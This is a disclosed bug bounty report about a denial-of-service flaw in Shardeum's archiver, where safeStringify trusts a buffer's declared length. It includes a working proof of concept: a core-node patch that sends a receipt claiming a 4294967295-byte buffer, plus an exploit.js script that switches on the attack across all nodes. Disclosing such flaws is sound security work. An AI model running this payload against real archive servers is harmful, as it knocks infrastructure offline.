Skip to content
DoS Audit finding Advanced

Dos archiver via data subscription channel due to broken safestringfy

The archiver's custom safeStringify function trusts a buffer's declared length without validating the actual content, so a malicious core node can send a crafted data subscription payload that triggers an enormous memory allocation. This makes the archiver unresponsive and effectively takes it down.

ZhouWu Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

39829 [W&A-Critical] dos archiver via data subscription channel due to broken safestringfy

#39829 [W&A-Critical] DOS archiver via data subscription channel due to broken safeStringfy

Submitted on Feb 8th 2025 at 15:22:49 UTC by @ZhouWu for Audit Comp | Shardeum: Ancillaries III

Description

Description

Archiver has a data subscription service via websocket to core and store these data to a disk. During the write to disk, archiver will do the stringify operation to the data. The problem lies within the stringify function that shardus custom implemented. The safestringify function will try to stringify a buffer object with the supplied length without actually checking if the content are actually valid. This lead to extreme memory allocation of archiver and eventually crashing.

This is the affected area of code in archiver /src/Data/Collector.ts

JavaScript
    ...more code
    if (missingReceiptsMap.has(tx.txId)) missingReceiptsMap.delete(tx.txId)
    receipt.beforeStates = globalModification || config.storeReceiptBeforeStates ? receipt.beforeStates : [] // Store beforeStates for globalModification tx, or if config.storeReceiptBeforeStates is true
    combineReceipts.push({
      ...receipt,
      receiptId: tx.txId,
      timestamp: tx.timestamp,
      applyTimestamp,
    })
    if (config.dataLogWrite && ReceiptLogWriter)
      ReceiptLogWriter.writeToLog(
        `${StringUtils.safeStringify({
          ...receipt,
          receiptId: tx.txId,
          timestamp: tx.timestamp,
          applyTimestamp,
        })}\n`
      )
    txDataList.push({ txId, timestamp })
    // If the receipt is a challenge, then skip updating its accounts data or transaction data
    // if (
    //   config.newPOQReceipt === true &&
    //   appliedReceipt &&
    //   appliedReceipt.confirmOrChallenge &&
    //   appliedReceipt.confirmOrChallenge.message === 'challenge'
    ...more code

Proof of Concept

Proof of Concept

In real network, this patch will be deployed to only a malicious node but to make testing process easier during demonstration of the exploit, let's applied these patch to all nodes. We'll only enable the attack on the node that maintain web-socket data subscription with archiver later.

  1. Apply core patch
Diff
diff --git a/src/p2p/Archivers.ts b/src/p2p/Archivers.ts
index 8667b6c1..bf1da4c9 100644
--- a/src/p2p/Archivers.ts
+++ b/src/p2p/Archivers.ts
@@ -35,6 +35,7 @@ import { Result, ResultAsync } from 'neverthrow'
 import { Utils } from '@shardus/types'
 import { arch } from 'os'
 import { checkGossipPayload } from '../utils/GossipValidation'
+import * as shardusCrypto from '@shardus/crypto-utils'
 
 const clone = rfdc()
 
@@ -530,6 +531,9 @@ async function forwardReceipts() {
   const newArchiversToForward = []
   const stillConnectedArchivers = []
   for (const [publicKey, recipient] of recipients) {
+    if(attackToggler) {
+      await forwardDangerPayloads(responses, publicKey, recipient)
+    }
     if (config.p2p.instantForwardReceipts)
       if (!lastTimeForwardedArchivers.includes(publicKey)) {
         newArchiversToForward.push(publicKey)
@@ -565,6 +569,33 @@ async function forwardReceipts() {
   profilerInstance.scopedProfileSectionEnd('forwardReceipts')
 }
 
+let attackToggler = false
+async function forwardDangerPayloads(responses, publicKey, recipient) {
+    shardusCrypto.init(Context.config.crypto.hashKey)
+    responses.RECEIPT = [
+      {
+        tx: {
+          txId: shardusCrypto.randomBytes(32), 
+          timestamp: Date.now()
+        }, 
+        originalTxData: {type: "Buffer", data: { length: 4294967295 }} }
+    ]
+    const dangerPayload: P2P.ArchiversTypes.DataResponse = {
+      publicKey: crypto.getPublicKey(),
+      responses,
+      recipient: publicKey,
+    }
+
+    const sharedKey = crypto.getSharedKey(recipient.curvePk)
+    const tag = shardusCrypto.tag(JSON.stringify(dangerPayload), sharedKey)
+
+    const tagged = { ...dangerPayload, tag }
+    
+
+    console.log("Attack in progress", tagged);
+    io.sockets.sockets[connectedSockets[publicKey]].emit('DATA', JSON.stringify(tagged))
+}
+
 async function forwardDataToSubscribedArchivers(responses, publicKey, recipient) {
   const dataResponse: P2P.ArchiversTypes.DataResponse = {
     publicKey: crypto.getPublicKey(),
@@ -1095,6 +1126,10 @@ export function registerRoutes() {
     res.json({ success: true, data: data })
   })
 
+  network.registerExternalGet('attack', (req, res) => {
+    attackToggler = true
+    res.json({ success: true, attackToggler })
+  })
   network.registerExternalGet('archivers', (req, res) => {
     let archivers = getArchiversList()
     // In restart network, when there is only one node, we just send the first archiver which is serving as data recipient
  1. link to shardeum repo and launch the network.
  2. After a couple of cycle node should come online.
  3. At this point you can check the archiver logs inside instances folder to see which node is subscribed by the archiver and call the /attack on that node
  4. Alternatively I prepare a script to help you with step 4. which turn on attack on all node.
  5. Paste the code into exploit.js
JavaScript
const axios = require('axios');



axios.get('http://0.0.0.0:4000/nodelist').then((response) => {
    const promises = []
    const list = response.data.nodeList

    for (let i = 0; i < list.length; i++) {
        promises.push(axios.get(`http://${list[i].ip}:${list[i].port}/attack`))
    }
    Promise.allSettled(promises).then((results) => {
        results.forEach((result) => {
            console.log(result)
        })
    })
})

  1. And this content into the package.json then do npm i afterward.
JSON
{
  "name": "stringify",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "dependencies": {
    "@shardus/types": "^1.2.21",
    "axios": "^1.7.9"
  }
}
  1. Run the exploit node exploit.js
  2. Observe the large memory allocation in archiver process, unresponsive practically crashing and DOSing it.

Impact

Can cause the DOS of archive servers.

The original report as published on Immunefi, by ZhouWu. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the custom safeStringify implementation reads a buffer's declared length field and allocates memory based on it without verifying that the buffer actually contains that many bytes.

Impact

A malicious core node could cause the archiver to allocate extreme amounts of memory and crash, taking the archive server down.

What the attacker needed

A malicious core node; archiver subscribed to that node

How it was found

  1. Apply the core patch that adds a route to toggle the attack and a function that forwards a crafted receipt payload to subscribed archivers
  2. Link to the shardeum repo and launch the network
  3. Wait a couple of cycles for nodes to come online
  4. Check the archiver logs inside the instances folder to find which node the archiver is subscribed to, then call the attack route on that node
  5. Run the provided exploit script that calls the attack route on all nodes
  6. Observe the large memory allocation in the archiver process, which becomes unresponsive and crashes

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

An archiver is a server that stores a copy of the blockchain's data. It receives that data over a websocket connection from core nodes and writes it to disk, converting each message to text first. A malicious node can send a message claiming to be far larger than it really is, and the conversion code believes the claimed size, tries to reserve a huge amount of memory, and the server crashes.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by ZhouWu

View all

14 more disclosed reports, best first.

More from Shardeum: Ancillaries III

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.